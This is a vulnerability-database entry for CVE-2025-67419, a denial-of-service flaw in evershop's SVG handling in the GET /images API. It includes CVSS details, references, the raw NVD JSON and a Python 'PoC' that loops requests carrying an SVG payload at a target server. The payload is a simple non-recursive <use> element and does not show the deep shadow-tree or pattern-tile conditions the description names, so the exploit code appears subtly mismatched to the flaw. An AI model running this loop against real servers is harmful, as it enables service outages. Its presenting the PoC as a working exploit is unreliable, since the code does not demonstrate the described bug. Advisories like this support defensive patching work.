CVE-2025-67419

Description

A Denial of Service (DoS) vulnerability in evershop 2.1.0 and prior allows unauthenticated attackers to exhaust the application server's resources via the "GET /images" API. The application fails to limit the height of the use-element shadow tree or the dimensions of pattern tiles during the processing of SVG files, resulting in unbounded resource consumption and system-wide denial of service.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:evershop:evershop:*:*:*:*:*:node.js:*:* - VULNERABLE

evershop <= 2.1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

url = 'http://target:3000/images'
payload = '<?xml version="1.0"?><svg xmlns="http://www.w3.org/2000/svg"><use href="#x"/><defs><rect id="x"/></defs></svg>'

while True:
    try:
        response = requests.get(url, params={'file': payload})
        print(f'Status: {response.status_code}')
    except Exception as e:
        print(f'Error: {e}')
        break

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67419
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67419
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67419/
[4] VulDB https://vuldb.com/cve/CVE-2025-67419
[5] https://github.com/dos-m0nk3y/CVE/tree/main/CVE-2025-67419
[6] https://github.com/evershopcommerce/evershop

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-67419", "sourceIdentifier": "[email protected]", "published": "2026-01-05T20:16:03.223", "lastModified": "2026-01-12T18:12:10.180", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Denial of Service (DoS) vulnerability in evershop 2.1.0 and prior allows unauthenticated attackers to exhaust the application server's resources via the \"GET /images\" API. The application fails to limit the height of the use-element shadow tree or the dimensions of pattern tiles during the processing of SVG files, resulting in unbounded resource consumption and system-wide denial of service."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1050"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:evershop:evershop:*:*:*:*:*:node.js:*:*", "versionEndIncluding": "2.1.0", "matchCriteriaId": "227349FD-25AD-4D12-AD7B-F50210FF385D"}]}]}], "references": [{"url": "https://github.com/dos-m0nk3y/CVE/tree/main/CVE-2025-67419", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/evershopcommerce/evershop", "source": "[email protected]", "tags": ["Product"]}]}}